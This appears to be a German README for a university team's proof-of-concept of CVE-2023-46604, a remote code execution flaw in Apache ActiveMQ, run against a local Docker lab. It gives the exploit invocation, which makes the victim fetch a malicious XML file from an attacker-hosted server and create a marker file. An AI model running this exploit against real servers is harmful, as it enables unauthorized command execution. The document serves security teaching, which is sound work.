CVE-2023-46604: Apache ActiveMQ RCE Proof of Concept

Aufgabe: SSP Aufgabe 3 Team: RCE You Later Mitglieder: Banica Horia Alexandru, Comarlau Vlad-Constantin

Videolink zur Nutzung des Repos für das PoC: https://www.youtube.com/watch?v=vum4qTF4ygU

🚨 Übersicht

Dieses Repository enthält einen voll funktionsfähigen Proof-of-Concept (PoC) für CVE-2023-46604. Diese Schwachstelle ermöglicht einem Angreifer, beliebige Shell-Befehle auf einem anfälligen Apache ActiveMQ-Server (Version 5.15.10) auszuführen, indem er gezwungen wird, eine bösartige XML-Konfigurationsdatei zu deserialisieren.

Ziel: Erstellen einer Datei namens pwned_by_ssp_team auf dem Opfer-Server, um zu beweisen, dass wir die Kontrolle haben.

---

🛠️ Voraussetzungen

Stellen Sie vor der Ausführung des Exploits sicher, dass Sie Folgendes haben:

1. Docker & Docker Compose (installiert und ausgeführt)
2. Python 3

---

📂 Repository-Struktur

• vulnerable-env/: Enthält die Docker-Konfiguration für den Opfer-Server.
• attacker/: Enthält die Exploit-Skripte und bösartigen Payloads.
  • exploit.py: Das Python-Skript, das das bösartige Paket sendet.
  • serve.py: Ein einfacher HTTP-Server zum Hosten des XML-Payloads.
  • poc.xml: Die bösartige Konfigurationsdatei, die den Befehl touch /tmp/pwned_by_ssp_team enthält.

---

🚀 Schritt-für-Schritt-Anleitung

Schritt 1: Opfer starten (ActiveMQ)

Wir führen eine alte, anfällige Version von ActiveMQ mit Docker aus.

1. Öffnen Sie ein Terminal.
2. Navigieren Sie zum Ordner vulnerable-env:

   cd vulnerable-env
   

3. Container starten:

   docker-compose up -d
   

4. Warten Sie 30 Sekunden, bis der Server vollständig gestartet ist.

Schritt 2: Bösartiges XML hosten

Der Opfer-Server muss Anweisungen von uns herunterladen. Wir richten einen kleinen Webserver ein, um diese Anweisungen zu hosten.

1. Öffnen Sie ein zweites Terminal.
2. Navigieren Sie zum Ordner attacker:

   cd attacker
   

3. Python-Webserver starten:

   python3 serve.py
   

   Lassen Sie dieses Terminal offen! Sie sollten "Serving HTTP on 0.0.0.0 port 8000..." sehen.

Schritt 3: Exploit starten

Jetzt senden wir das spezifische Netzwerkpaket, das die Schwachstelle auslöst.

1. Öffnen Sie ein drittes Terminal.

2. Navigieren Sie zum Ordner attacker:

   cd attacker
   

3. Führen Sie das Exploit-Skript aus.

   • Hinweis: Wenn Sie macOS oder Windows verwenden, verwenden Sie den untenstehenden Befehl genau wie geschrieben.

   python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
   

   • Linux-Benutzer: Wenn Sie Linux verwenden, ersetzen Sie host.docker.internal durch das Gateway der Netzwerkbrücke, normalerweise: 172.17.0.1. Versuchen Sie, die Adresse wie folgt zu ermitteln, falls die vorgeschriebene nicht funktioniert: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'

Schritt 4: Hack überprüfen

Hat es funktioniert? Überprüfen wir, ob die Datei im Container erstellt wurde.

1. Gehen Sie zurück zu Ihrem ersten Terminal (oder einem beliebigen Terminal).
2. Führen Sie diesen Befehl aus, um den Ordner /tmp im Opfer zu überprüfen:

   docker exec activemq-victim ls -l /tmp
   

3. Erfolg: Sie sollten eine Datei namens pwned_by_ssp_team sehen.

🧹 Bereinigung

Um den anfälligen Container zu stoppen und zu entfernen:

cd vulnerable-env
docker-compose down